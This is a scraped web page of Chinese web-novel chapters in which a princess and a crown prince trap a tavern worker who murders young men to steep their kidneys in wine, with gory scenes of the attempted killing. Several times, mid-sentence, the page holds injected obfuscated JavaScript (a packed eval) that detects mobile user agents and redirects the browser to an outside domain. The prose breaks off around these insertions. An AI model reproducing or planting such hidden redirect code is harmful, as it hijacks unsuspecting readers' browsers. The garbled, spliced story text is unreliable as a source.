“不一样,春还公主,根本不一样。因为我的师父比花下眠厉害一千倍,甚至一万倍。师父的境界不同,教出来的弟子自然也良莠不齐,你是莠,我是良,你现在的武功力气属于平平无奇的级别,与我相较,幼稚极了。如此,还不明显吗?” “……”落花啼被堵得噎住,换而一想,貌似挺有道理,但是在她的记忆里灵暝山与哀悼山针锋相对了十几年,势如水火,她就算再想提高武力也无法转头扑向哀悼山。 要是干出这么一档事,师父花下眠铁定不惧父王母后的阻拦,下狠手要屠了她这胳膊肘往外拐的孽徒。 花月阴看出落花啼的纠结,趁热打铁,“我给你时间考虑,后面还会再来寻你,不过,你真的希望曲朝一统天下吗?” 听闻此节,落花啼前世的仇恨铺天盖地袭来,她觳觫得打抖,疯狂摇头,“不,绝对不能让曲朝称霸……” 她一念掠过,定定不动地注目花月阴紫色轻纱外的眉目,脱口而出一个猜想,“你,你不会就是哀悼山的宗主花天恩吧?花月阴其实是你在外的假身份?” 花月阴不正面回语,低笑着俯视一旁的卧石,“卧石,你看她,给我扣这么大的帽子,我哪里戴得住?” 卧石眉开眼笑,捂着嘴瞄瞄落花啼,似乎很愉悦。 花月阴走近,用手指勾起落花啼的下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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中秋宴会散席之后,曲探幽出宫先找到玉堤的府邸,强行领着人去地窖看酒,一头雾水的玉堤不知宫内发生什么了,提心吊胆,抖着腿脚回了罐中仙。 等查遍地窖,他才恍然罐中仙在皇宫惹了祸事,一时之间哭得鼻涕冒泡,涕泗横流,以头抢地求饶恕。 他坦言岳丈在朝为官,他绝对不敢顶风作案杀人放火,更不敢以人肾入酒,求老天爷还他清白。 曲探幽料想谨小慎微的玉堤没这个牛胆,便不羁押他下狱,只是盘问酒楼里有什么可疑之处。 玉堤磕磕巴巴说不出个所以然。 在外搜索失踪的蓝穹国小侯爷,一无所获归来的入鞘,抢言道,“太子殿下,属下听说罐中仙酒楼频频有客人深夜逃单,杳如黄鹤,属下以为,那些客人不是逃单,而是被迫失踪……没猜错的话,他们已经魂归西天了。” 入鞘寻找小侯爷的时候,派人乔装打扮来过罐中仙,在一间空客房内的床角捡了一把古剑,上面刻着“宵”字,他带着剑和曲探幽汇合,曲探幽一眼认出这是小侯爷蓝今宵的破剑。 两人曾在青史学府习过武,是早已熟稔的朋友。 种种巧合,足以表明,罐中仙的人肾酒和失踪的蓝今宵是同一件事。 能把肾脏泡进罐中仙的蛇酒,此人是对酒楼了如指掌的,亦对蛇酒青睐有加。换句话说,他还阴暗地缩在罐中仙的某个潮湿的角落,肆意窥探,窃喜不已。 当务之急,要想办法揪出藏在背后的杀人凶手。 找到下落不明,生死难料的蓝今宵。 29. 不堪回首中 第二十九章不堪回首中 (蔻燎) 为了让凶手放松警惕,曲探幽命令玉堤像往常那样开门迎客,日复一日。 月复一月。 引蛇出洞的计谋,屡试不爽。 回顾人肾酒的特征,乃是用了成年男子的年轻肾脏,逮住这一点对症下药即可。 两条腿的成年男子一抓一大把,何愁无人可用? 入鞘主动提议去当美味的“诱饵”,他脱掉侍卫统领服饰,取下刀剑弓箭,穿上一身素雅的月白长袍,梳了一种文人墨客喜欢的发髻,半披黑发,怀里揣了两本蓝皮书。 朝气蓬勃,风华正茂,简直是活力四射的一位俊哥儿。 落花啼,曲探幽在罐中仙对面的酒楼临窗而坐,两人面前各一杯清茶,果脯糕点摆得桌面密密匝匝,眼下却无心去喝茶吃东西。 楼下自集市方向走来的入鞘,抱着几本书目不转睛地读着,突然被一行人撞个正着,他原地转悠一圈,气冲冲朝着那人后背谩骂,一转身,不经意瞧见了罐中仙酒楼。 他一愣,掏了掏腰包,实在是囊中羞涩,扭头便走。 此时一伙计追出来道,“公子,是要住宿还是吃饭?罐中仙的饭菜物美价廉,你进来尝尝?” 入鞘上下扫描那伙计宽阔的汗毛发达的胸膛,扁嘴,后退道,“是吗?物美价廉?” 伙计道,“当然,不仅物美价廉,咱们罐中仙还是皇亲国戚爱来扎堆的好地儿,你如果进来溜达,说不定还能结识几名达官显贵……我看公子在温书,是否要考取功名,那你更得进来了!” 入鞘心动地点点头,踌躇一秒,跟着伙计朝里走,谁知台阶太高,他一脚踏空,“哎呦”一下屁-股蛋儿撂地上了,手里的《诗经》《孟子》《资治通鉴》哗啦啦掉一地。 他小脸一红,羞臊地爬起来捡书,那伙计眼力见儿很高,两把就帮着拾起,道,“公子,请。” 入鞘缩着脖子,一副怯生生的姿态,甫一走进去,一个黑得和煤炭似的臭老头就贴了上来,嶙峋的骨头快突破皮肤戳出来,脸颊和手臂粘着刺鼻的膏药,臭气熏天。 膏药刘盯着入鞘吹弹可破的小麦色肌肤,一嘴的黑黄牙花子都豁出了口,喜眉笑眼地来夺入鞘手中的书,谄媚道,“公子,您是哪家的小少爷拨冗前来?吃什么饭?喝什么酒?住几日房?您宽心,罐中仙一应俱全。” “嗯,喝蛇酒罐中仙,一坛就够了。不吃,不吃饭了。” “好嘞!那,住宿吗?” “住吧,住三天,三天多少钱?” “三天算你两千文,怎样?本来一夜要八百文的,看公子您生得俊俏,给您少点。” “真的吗?谢谢大哥,谢谢大哥。”装疯卖傻的技能,入鞘也是可圈可点的,愣是任何人看了都以为他是单纯无害的傻小子。 柜台边拨弄算盘的玉堤顺风听见膏药刘空口白牙少要别人几百文,气得鼻孔冒烟,一方抹布丢过来,“膏药刘,上回挨打没长记性?谁给你的胆子说少钱就少钱?不准少!三天晚上就是两千四百文!一文不能少!” “……哦,是,玉老板。” 膏药刘眨眼看向入鞘,爱莫能助地耸耸肩。 入鞘瞄瞄膏药刘,又瞄瞄玉堤,小心翼翼拿出全部家当,给到玉堤柜台上,“好,就两千四百文吧。” 膏药刘打算引入鞘上楼,玉堤骤然道,“站住!” “罐中仙的钱呢?不给吗?” “多少钱?”入鞘畏畏缩缩道。 玉堤望一眼入鞘,滚滚喉咙,“一坛罐中仙十两银子,爱喝不喝,毕竟是招牌酒嘛,肯定比住宿贵很多咯。” 入鞘顿了顿,左顾右盼,支支吾吾道,“那我,不喝了,我没那么多银子。” 说罢,随着膏药刘上楼住下。 小书生入鞘初入人世,摸爬滚打的还不够,交完所有的钱只能饿着肚子。灰溜溜地倒在床上迷迷瞪瞪地看书,他看了一篇,脑门就发昏想睡觉,一手支着床榻侧躺着,连连打呵欠。 暮色四合。 饿了一天的入鞘关上窗翻回床铺,想吹灯睡觉,冷不丁房间被一道黑影敲出清脆的扣门声,“咚——咚——咚——” 入鞘笑了笑,“谁?” 门外道,“小公子,我知道你没吃东西,特意拿了酒菜来,你别怕,我没有恶意的。” 入鞘鲤鱼打挺跳下床,三步并两步去开门,挑眉道,“大哥,你人真好,谢谢大哥,大哥你是世界上最好的人。”边说边把膏药刘往屋里招呼,一双澄澈的眸子比宝石珠子还熠熠生辉。 膏药刘端着一托盘,上面垒了几道素菜,一小坛酒,听着入鞘阿谀奉承的话,心里美得找不到北,咽一口老痰,“公子玩笑话,我只是心疼你们这些小年轻,一个人出门打拼,多可怜啊。常言道,在家靠父母,出门靠朋友,你与我相识一场,也算是朋友了。” 乌云罩月,寒风刺骨。 秋日落败的枫叶梧桐扑簌簌地飞舞在天地间,宽大的叶掌像极了纨扇,把肃杀的冷流扇得越来越狂野,仿佛要冰冻了曲水沣都。 深更半夜,无人语,有风痕,鸟不飞。 在对面酒楼苦守一天的落花啼眼见入鞘的那间房的灯火熄灭,如芒在背,低声道,“那人动手了。” 曲探幽默不作声,一扬手,不远处蓄势待发的一众曲兵攀上屋顶,居高临下俯视着罐中仙酒楼。 不多时,罐中仙后院的小门被一脚踢开。 落花啼和曲探幽以为那是入鞘,锁睛细凝,却是套了黑斗篷的膏药刘,他熟门熟路地推出一辆小板车,板车上用麻绳捆了一只半人高的大酒桶。 “咯噔噔,咯噔噔……” 车轱辘碾压着曲水沣都的石板路,发出骨折般的震耳响声。 “追!” 落花啼,曲探幽,曲兵们悉数跃上最近的房顶,紧随其后。 膏药刘的家不在曲水沣都城内,而是在曲水河畔偏远地的一座石桥之下,桥下用茅草建了简易的破屋子,好像烈风使劲一刮,房子就能摇摇欲坠,瘫倒塌陷。 板车和酒桶停在了茅屋前,膏药刘费力地打开酒桶,从中拽出昏迷不醒,五花大绑的入鞘,他架着入鞘的咯吱窝,径直将人朝屋里拖行。 曲水河畔的草地上蜿蜒出一条宛如蛇行的痕迹,凌乱不堪。 膏药刘嘴里念叨着,“好阳-物,好阳-物,喝了壮阳,喝了长生,喝了能永世不倒!” “吱呀——” 斑驳木门被他卸掉铜锁,一胳膊肘撞开。 入鞘的脑袋,胸腔,腹部,大腿,小腿,缓缓被那道油腻腻的门板吞噬遮挡,再“吱呀”一声,膏药刘和入鞘的身影一齐消失。 避免人多动静大,落花啼和曲探幽安排曲兵包围石桥,防止膏药刘发现情况慌不择路地逃窜。 落花啼抽出剑,屏息敛气,一点点挪至小茅屋。 橘色的油灯无声地亮出萤火般的微光,照映着荒凉凄惨的一角。 落花啼对着曲探幽比划一番,躬腰去扒茅屋的一孔窗户,窗柩上糊了薄薄的纸,泛着老旧的黄泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816325|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 食指戳一个洞,落花啼的眼睛静悄悄堵上去。 刚想看里面,旁边一颗脑袋挤上来,几乎到了耳鬓厮磨的近距离。 曲探幽伸出两指扣了个洞,斜睨落花啼,一手扶紧后者的腰,嘴角上扬着莫测的笑。 这个时候还笑得出来,也不怕自己的心腹被一刀毙命…… 落花啼担忧被膏药刘察觉声音,拳头砸死,忽略对方的手,继续透过孔洞盯着屋里。 一看其内,恍然发现,入鞘的上半身衣物竟以神不知鬼不觉的速度被膏药刘给脱得一干二净,浑身上下仅剩一条白色亵裤,绷直的手臂和长腿被麻绳分开绑在一面桌子上。 已成案俎鱼肉,任人宰割。 膏药刘痴迷无比,双手游走在入鞘的俊脸和胸口处,慢慢来到了袒露无疑的腰部。他咧嘴大笑,黑黄色的牙齿横冲直撞逼入眼眸,丑陋得想让人自戳双目。 他叼了一根烟草卷出的劣质烟,怼着油灯点上火,水雾萦回的灰蓝色浓烟盖住他的五官,激情道,“好阳-物,好阳-物,许久没遇见这么好的货色了,虽然一副书生模样,白白嫩嫩,但是四肢健硕,肌肉饱满,可见他年轻有活力,完美极了,用他来泡酒是锦上添花的妙事……” 来不及眨眼,膏药刘自背后掏出一把磨得亮闪闪的菜刀,另一手恋恋不舍地摸着入鞘的劲腰,粗糙的指尖下按,仿佛在确定位置。 “小公子,别恨我,别怨我,你要生气也该怪你长得太可口了,怎么能怪我呢?你这么健康,这么高大威猛,想必你的肾脏也是出类拔萃的顶尖品,我就摘你两颗肾脏,别怕,别怕啊,哈哈哈哈哈哈哈!” 膏药刘眼冒狞光,贪婪的欲-望颠覆了他的正常思考,恶言恶语道,“凭什么?凭什么你们都身高八尺,外形俊美,还有一副强健的体魄?凭什么我却一个也没有?我长得面目可憎,身子佝偻,还……还不举,你明白男人不举是多么耻-辱的事吗?你能明白吗?” “你拥有的东西太多了,你一点不觉得羞-耻?哼,我拿走你的肾,你还有脸蛋和身材,你还有很多很多东西,所以,我待你不薄!” 一语休了,银光飞舞的菜刀捣起一片细风,自上向下捅去。 “哐当!” 千钧一发,一柄蛇纹轻剑穿窗而过,稳稳敲歪了那只菜刀,“砰”,菜刀猛的斜-插在一面墙上。 落花啼一拳头擂烂窗户,戾气陡生,“住手!你个死变态!” 小茅屋的窗口小得出奇,估摸是成年人的头颅大小,想翻窗进去有点难度,落花啼退而求其次去撞木门,连撞三四次也撞不开。 膏药刘竟然警惕地锁死了门! 落花啼撞第五下的时候,一只大手拽住她的手臂,拉她到身旁,眼前一抹黑影拂过,奔雷坠落似的巨响迭起,木门的破锁被一剑劈断。 曲探幽拎着剑柄处有龙吞造型的黑金色龙纹剑,墨黑的剑身上阴刻着“缚龙”二字,他在落花啼震惊的表情下一举砍烂木门,疾步冲了进去。 “你有剑偏不使,装什么?”落花啼的白眼越翻越熟练。 两人闯入茅屋,那膏药刘已迅速捡了菜刀,拔下落花啼的绝艳,一刀一剑横在前面,眸仁躲闪,“你,你们,你们是谁?为什么突然来到我这里?你们到底想干什么?” 他鼠目寸光,并不知晓落曲二人的身份,单以为是横行霸道的歹徒来劫财,转而一想,他的破屋子也没钱财可劫。 曲探幽扫一眼躺在桌案,上身赤-裸的入鞘,冷笑,“你掳走了孤的人,还问为什么?” 30. 天寒红叶稀 第三十章天寒红叶稀 (蔻燎) 膏药刘抬头看着高大的曲探幽和落花啼,腰背佝偻,缩在墙角犹如阴暗的老鼠。 此时他盯着华服锦袍的两人,越看越觉在何处遇到过。 他扫扫入鞘,又觑觑对面之人,心知斗不过,极力狡辩道,“不,我只是,我只是,我没有掳走他,是他不小心晕倒在路边,我碰巧捡了,我是在做好事……” “别废话了,入鞘好端端住在罐中仙,怎么可能倒在路边?膏药刘,你是不是需要我们提醒提醒你就是罐中仙里面倒泔水桶的臭老头?” 落花啼在安全的距离使劲去解入鞘手脚的麻绳,严词回击。 膏药刘听见落花啼知道自己的名字,眼底一抖畏葸之色,挥动菜刀与绝艳,跟只陀螺疯了一般反抗,刀影剑影划在半空,刺得眼疼。 如此毫无章法地甩刀,难以近身去打。 落花啼道,“曲探幽,给本公主抢回绝艳!” 曲探幽没应声,靴子一勾脚边的木椅,抬起一脚直直踢了过去,膏药刘神经兮兮地疯狂砍着前面,不料下腹被椅子摔中,撕心裂肺的惨叫,手中的武器应声落地,蜷缩一团,呜呜咽咽地发抖。 落花啼眼疾手快拾起绝艳,踢走那菜刀,眼神一寒,绝艳在空中掠过一条银白的蛇影,“噗嗤”贯入了膏药刘的双股,硬是将其两腿捅成对穿。 惨叫声震耳欲聋。 “本公主的剑也是你能碰的?死变态!”她嫌弃地在墙上擦了擦绝艳的血迹,双眉捻皱。 曲探幽瞧清她狠毒的手法,情不自禁鼓掌,嗤笑,“春还公主非是俗人,当真令孤刮目相看。” 一位女人在自己眼前毫不掩饰杀欲,危险的同时,吸引力达到了巅峰。 石桥外的曲兵听闻声响,鬼魅般跃出,得到曲探幽的示意,绑着失血过多的膏药刘离去,并把桌上的入鞘背出屋子。 茅屋就巴掌大的面积,曲兵翻来覆去搜罗了数遍,也未从中找到失踪的小侯爷蓝今宵。 只得先告一段落,明日严刑拷打膏药刘询问一通。 落花啼在曲水河边不放心地洗一洗绝艳,几名曲兵拿凉水泼醒了昏死的入鞘,还不忘帮其穿衣。 曲探幽站在入鞘背后,没有一丝怜悯忧心,语调森森,“你的一身本领是废了吗?连个老头也玩不过。” 入鞘相容凌乱,羞-愤交加,一骨碌跪在草地上,“回太子殿下,是属下不力,这老头来屋里劝属下喝酒,属下以为喝一杯不会有事,即便酒里有药我也能想办法吐出来,没想到喝酒之时他便趁机吹了迷烟……是属下过于自信大意,疏忽懈怠在前,才会着了奸计。请太子殿下降罪!” 袍子一掀,窸窸窣窣,锦靴逐渐远去。曲探幽不置一词,唤上曲兵转身便走。 入鞘望了望落花啼,道了句“多谢公主相救”,拉好衣襟夹着尾巴跟上。 落花啼洗好绝艳,插-回剑鞘,足下一点翻上石桥,却见曲探幽候在稀薄的月色下,无言地凝睇过来。 莫名其妙。 盯着曲探幽那复杂的眼神,落花啼开门见山,没好气道,“你不必等我,把凶手捉拿归案吧,我在城外走走,我自己能回曲水沣都。” 曲探幽敛眸,缄口无言。 他的身形峻拔笔直,恰似松竹美玉,随便看一眼就过目难忘。 夜阑风静,草木贪眠。 一盏凉风萧萧鸣过,抖得人裙袍蹁跹,像蝴蝶震翅,即将拥风入怀,浪迹四野。 良久,曲探幽眸珠晦暗不明,“原来,你到曲朝,还将他也捎上了。” 折转脚步,举手一挥,领着曲兵直奔曲水沣都。 落花啼不明所以,眼看曲探幽一行人愈加渺小,她无奈地撇撇嘴,预备天一亮就去城内找找红衰翠减,不知她们还在不在曲朝,如果在的话,缠着她们学武也比听信花月阴的一面之词要好得多。 走了几步,一串几不可闻的步履声轻飘飘地浮动而来,提防不得。 落花啼在花月阴那吃了一亏,握着绝艳猛然旋身,下一秒,她的瞳仁圆溜溜地快跌落眼眶,期期艾艾道,“你,你怎么,你怎么跟来了?” 红袍裹着修长的身量,黑玉蹀躞环束着窄腰,负手在背,笑起来眼眸弯弯似月。 歪歪头,抱着臂膀,笑得人畜无害,“公主殿下,多日不见,你千万不能忘了我。” 他踱近两步,弹掉落花啼鬓边的一根碎茅草,极尽温柔,“难道,真的忘了吗?何以眼睛如此茫然?” 落花啼自落花国来到曲朝数月,全然忘记了落花国的士兵里掺进了花辞树这件事。 当初在花落知多少举办所谓的“真龙天子”比武大赛,龙鳞人跃鲤在凌迟时被救走,她让花辞树告诉自己有关江湖门派的事情,花辞树应势提了一个要求。 那就是——公主殿下,你去曲朝的那天,把我带上吧,我想一直追随公主。 警世司的司主花辞树从未来过强盛的曲朝,他对这里充满了向往期待,在落花啼答应之后,花辞树便假扮落花士兵跟着队伍来了曲水沣都。 落花啼住进皇宫,这些落花士兵不得入内,花辞树就在曲水沣都的围房安置。 “你今夜为何跟着我到了这里?”回想起前因后果,落花啼的惊讶压了下去,抬目瞭向花辞树。 花辞树笑道,“我今儿回曲水沣都,碰巧在屋顶上看见你和那曲朝太子飞檐走壁往城外跑,怕你遇见不测,便一路跟随,没想到你们是在抓坏人。” “原来如此。等等,小花,你今儿回曲水沣都,这是什么意思?你之前不在曲水沣都?你去何处了?” “嗯……公主殿下,曲朝太大了,我又入不了皇宫,实在新奇得紧,索性到处逛逛,前些日子专门跋山涉水去看了看曲水国皇宫的遗址,潺城。” “潺城?” 这个地名落花啼略有耳闻,的确是曾经的曲水国的都城,天意弄人,一国京都沦为了破败的“遗址”。 落花啼想起前世的落花国,感同身受,悲戚道,“那,灭国之后的潺城现在是何模样?” 花辞树怔然,喉结一动,神色暗了几分,低吟道,“还能如何?那里的百姓变成了曲朝的百姓,那里的皇宫成了残垣断壁,每每夕阳西下,荒芜的草叶漫天飞舞,凄冷极了。” 他笑道,“抢下了曲水国又如何?戌邕皇帝也没有好好善待。” 大抵是错觉,花辞树说这些话,语气里夹杂着咬牙切齿。 落花啼仔细瞅去,他的脸上却绽放着迷人的笑容,似乎事不关己,毫不挂心。 一路谈天说地,一路观赏风景,两人赶回曲水沣都,东方既白,白云朵朵堆积,明媚的阳光洒将而下。 晴朗万里的一个好天气。 正午。 落花啼与花辞树择了一家饭店坐下,点了辣子鸡,木耳炒肉,蒜泥白菜,糖花生,一壶黄酒。 在落花国,落花啼就欣赏花辞树的为人作风,不管在哪,花辞树虽然时刻铭记落花啼是长公主,但绝不会因为这身份而畏畏缩缩,退避三舍。 和花辞树待在一起,能明显感觉到他把自己当朋友亲近。 这一点,让落花啼莫名记起了远在天边的花-径深。 那戴着黑铁面具,脸颊生满黑紫色毒疮的人。 一杯淡黄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他叫上伙计狠狠暴揍了膏药刘一顿,啐一口浓痰,“作死!罐中仙没了你活不了?自以为是,你要是再敢胡言乱语,自抬身价,你玉爷爷打断你的狗腿!” 膏药刘到底是乡下来的,不曾遭遇过皇城势力的险恶,被揍了好几次不得不败下阵来,当个缩头乌龟。 他的工钱自那以后不增反降,从酿酒的师傅降级成打扫残羹剩饭的下人,每天几个铜板,就这么浑浑噩噩过着。 而他的酿酒技术也早已被其他伙计偷学了去,把他整个人替代下来。 膏药刘在罐中仙,成为了真正的可有可无的人。 一日,他得了一天的铜板,想买点瓜子花生这些零嘴吃,一名罐中仙的伙计靠过来怂恿他去了曲水沣都排场最大的妓-院,“香染魂”。 香染魂,脂香染人魂,美女盈怀袖,骨脱香更胜,神仙何处沦。 有道是,牡丹花下死,做鬼也风流。 膏药刘活了几十年还没尝过女人的滋味,激动之下,跑回茅屋装上多年的积蓄进去逍遥快活。 他没逍遥快活。 因为他发现一个可怕的事实,面对活生生的女人,他不-举,他根本就举不起来。 膏药刘落魄贫穷的生活雪上加霜,他夜夜难眠,想要发泄心底的怨恨,他要一洗前耻,他要证明自己是个男人。 处心积虑,制定了严丝合缝的屠杀计划。 以形补形嘛,我缺什么就拿别人的补上,不信起不了作用。 罐中仙的客人纷至沓来,座无虚席。他们非富即贵,他们衣轻乘肥,他们年轻蓬勃,他们高大健硕,他们——死不足惜! 31. 寒梦锁闲愁 第三十一章寒梦锁闲愁 (蔻燎) 膏药刘在酒楼认认真真挑选出第一名目标男子,半夜三更,用对付入鞘的方法迷晕了男子,塞进酒桶“轱辘辘”运至他的茅屋。 手起刀落,手起刀落,剥开,摸索,撕拽,两颗热气腾腾的饱满肾脏就得到了。 蛇酒已是大补,加上男人的肾脏,岂不是如虎添翼,无人能匹? 他把肾脏泡在了罐中仙的地窖酒坛里,每天偷偷摸摸去打一壶出来喝,不知是误打误撞还是如何,他喝了此酒,腹-部滚烫,精神抖擞,竟达到了希冀的卓越效果。 蛇酒加上肾脏,喝一次能硬-上半个钟头,膏药刘频繁地喝,频繁地去烟花柳巷,掏空了家底和身体,渐渐苍老如木,神形可怖。 第一次杀人,没被发现,挖掉肾脏的男子在他嘴里成了“逃单”的客人,于是,有了第二次,第三次,第四次…… 纸包不住火,谁也没料到事情会有暴露的一天。 皇宫的中秋宴点名要罐中仙的蛇酒,玉堤喜不自禁,揪着这机会想好好表现,他拿出地窖里膏药刘先前酿的酒水,醇香浓郁,绝不会出差池。 他死也想不到,那些罐中仙蛇酒里还多了不应该出现的肾脏。 皇宫中人来取酒的那天,膏药刘将好被玉堤因倒洒了潲水桶而殴打得爬不起床,他不知自己的酒被玉堤拿走了,待他发现,为时已晚。 而中秋宴一过,皇宫内一如既往地度日,膏药刘便以为这件事蒙混过关了,想着继续找猎物泡出新的人肾酒,为他所喝,这才有了入鞘将计就计扮书生去罐中仙的戏码。 此事告知了曲远纣,他怒不可遏,即刻下令斩杀膏药刘,查封罐中仙,绝不姑息。 罐中仙因管理不善,罚款五万两,闭楼一年。 古怪的是,膏药刘锒铛入狱,认罪伏诛,他挨尽了酷刑,却只交代了六名失踪男子的杀害过程。 至于蓝穹国的小侯爷蓝今宵失踪一事,他咬死也不承认,最后被安排了三日后斩首示众。 邻桌的一人奇异道,“不对啊?杀人掏肾,那尸体何在?” 另一人捧腹大笑,戏谑十足,“膏药刘这几年,从来不自己出钱卖猪肉吃,你说呢?” 不寒而栗。 不消说邻桌之人背脊蹿上凉意,连落花啼都忍不住起了鸡皮疙瘩。 匆匆吃完饭,两人走在长街上晒着太阳。 花辞树在落花啼口里得知蓝穹国小侯爷失踪了,冥思苦想,喟叹道,“如果膏药刘没杀小侯爷,那小侯爷就是其他人抓走的,不过,小侯爷在曲朝会得罪谁呢?为何还没露面就不见踪影?” 落花啼道,“此事还得再查,我回皇宫问问曲探幽,或许他能有一点眉目。小花,你还是去围房歇息吧,落花士兵都在那,有什么事我会去寻你。” “曲,探,幽……公主殿下,你已经这样唤他的名字了吗?” “怎么了?我觉得叫他太子殿下很别扭。” “那叫他曲探幽就不别扭了?” “小花,你想说什么?”傻子都能听出花辞树话里有话,声质含着诡异的酸味。 花辞树撇嘴,浅浅一哼,小孩子似的侧一半身子,嘟哝道,“你可以叫他的名字,不分尊卑,那我可不可以也不分尊卑,叫你……花啼?” 经过上一世的洗礼,落花啼早没了皇室公主的尊卑有别,在她眼里,善良的人,合眼缘的人皆能成为她信任接触的人。 花辞树于她而言,是善良的,合眼缘的人。 繁褥的称呼,多此一举了。 她笑道,“自然可以,小花。” 花辞树俊颜朗绝,美若神明,他揽住落花啼的肩头,声音一遍比一遍高,“花啼,花啼,花啼!我真的很高兴!” 落花啼“噗嗤”笑了,深深感觉花辞树与三岁小儿毫无区别。 临别花辞树,落花啼交给他一个任务,帮忙查探天相宗的红衰翠减还在不在曲朝,有了线索就遣士兵往皇宫递消息。 花辞树爽快的一口答应,依依不舍地目送落花啼走入皇宫。 来到欢漪殿,殿门口伫立着一位清骨冰质,长发披肩,面如冠玉的白袍男子,身后随了几名清秀的小道童。 短促的留下话,摇身便走。 大宫女桃镯的嗓音传来,“李道长慢走——” 白袍男子微微颔首,撷了一股轻风朝落花啼的方向信步过来。 落花啼下意识抬起眼帘望去,不偏不倚与对方的眼眸相视,那一秒,遍体激起了麻酥酥的电流。 道骨仙风,清冽纯澈,皓皓似明月,皑皑如雪丘。眼前之人就是最完美的体现。 从前在灵暝山学武,落花啼极其羡慕师父花下眠那和光同尘,风神雅秀的独特气质,一时视为追求向上的动力。 而这人,体貌修伟,儒雅宽厚,周身气场一点不输花下眠。 许是忽略不了落花啼赤-裸裸的眼光,他停下脚,道,“春还公主?” 落花啼脊背一挺,讶然,“你为何得知?” “灵华长公主的欢漪殿暂时有落花国公主居住,我看你眼生,又着华丽裙袍,气度不凡,便问了。” 他朝落花啼点首见礼,“在下李怀桃,见过春还公主。” 李怀桃? 这不就是曲探幽嘴里所言的道长李怀桃吗? 随心情任职钦天监,是一位想来就来,想走就走的主儿。 传说中的龙鳞花是他提出来的,那么千古一帝之辞,或许也是自他口中得出。 落花啼神思急驰,举起两臂挡住去路,紧张得咽一下唾沫,直截了当道,“李道长,我有一疑,还请道长襄助解惑。” 李怀桃垂眸低睫,并不注视落花啼,淡然道,“公主请讲。” “‘花舫撷红几时归?香泥沃土养君徊。落花糜谜斩天开,帝王降世谁睹还……福雍圣临骋英才,河清功名君王寰。’这首有关千古一帝的诗句,是否出自你手?李道长,这些话有无根据?是不是无中生有,空穴来风?” 话语落下,李怀桃的眉间以肉眼难觅的速度蹙了蹙,他道,“春还公主,恕直言,龙鳞花的传说是我所起,但这千古一帝之辞,与我无关……天机不可泄露,我只能回答,真正的千古一帝的确不久就将统治天下,现世人间。” 白影一晃,风声拂面,李怀桃迈步走出一射之地,并不打算多作纠缠。 落花啼攥着拳头,怒火攻心,追上去拽住对方的雪白衣袖,愤懑道,“李道长,真的不是你吗?真的不是?那到底是谁胡乱散播的?是谁?” “……李道长,你知不知道这些莫须有的话会造成什么后果?民间骤然传出谣言,背后必是有人指使。而谣言全是危害落花国的,其心可诛!千古一帝都是假的!落花国没有千古一帝,天下也没有千古一帝!为什么要弄出这首诗,为什么……” 为什么? 为什么前世的千古一帝谣言写来写去都指向落花国,为什么她和父母兄妹会被这谣言害得万劫不复……为什么? 既然天机不可泄露,又为何能用诗句隐晦地表达? 到底安的是什么心。 李怀桃俯视落花啼红润的氤氲眼眶,太息一记,隔着衣服拨下后者的手,呵气如兰,冷声道,“春还公主,自重。” 一道童上来拦着落花啼的动作,好言相劝,“春还公主,道长事务繁琐,今天还是忙里抽闲来给灵华长公主送东西,目下还得回钦天监为皇上炼制丹药。恕不奉陪,告辞!” 对啊,朝他发火作什么?事情已经发生了。 即便杀了他也不顶用。 失魂落魄,郁气滞结,落花啼眼睁睁凝着李怀桃那一袭白袍在白墙金瓦下不见,豆大的泪珠沿着腮颊跌落,隐入尘埃。 落花啼,光凭一己之力是胜不了曲探幽的,在江湖在国度在军队在民心,你都得拥有独一无二的强盛力量。 秋凉夜寂。 月似钩,横倒的钩子割破天空的黑绸,抖出了一粒粒黄灿灿的星子。 曲水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828868|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沣都之外,屹立一方的逢君行宫。 伸手不见五指的黑暗里,手脚四肢桎梏在十字木架上,愣是如何动弹也挣脱不了。 血腥气弥漫,堵塞得鼻孔呼吸不得,痛不欲生。 遥远处乍起一阵橐橐的脚步声,沉重缓慢,款款踱来,时而慢得像愈走愈远,时而快得仿佛踏到了脸上。 心脏“扑通扑通”狂跳,接近窒息。 “开门。” 熟悉的音线回荡在空空如也的行宫地下暗牢里,像一把镰刀扎进了柔嫩的肺腑。 “咔嚓!” 重锁坠地,厚实的铁门启开,外头的银色月华和油灯枯槁的光芒糅杂在一起,翩翩然飞到眼底,刺激得人闭了闭眼。 椅子拖地一响,一道高挑的身形大马金刀地跨坐上去,侧目笑道,“孤不在的时候,过得如何?” 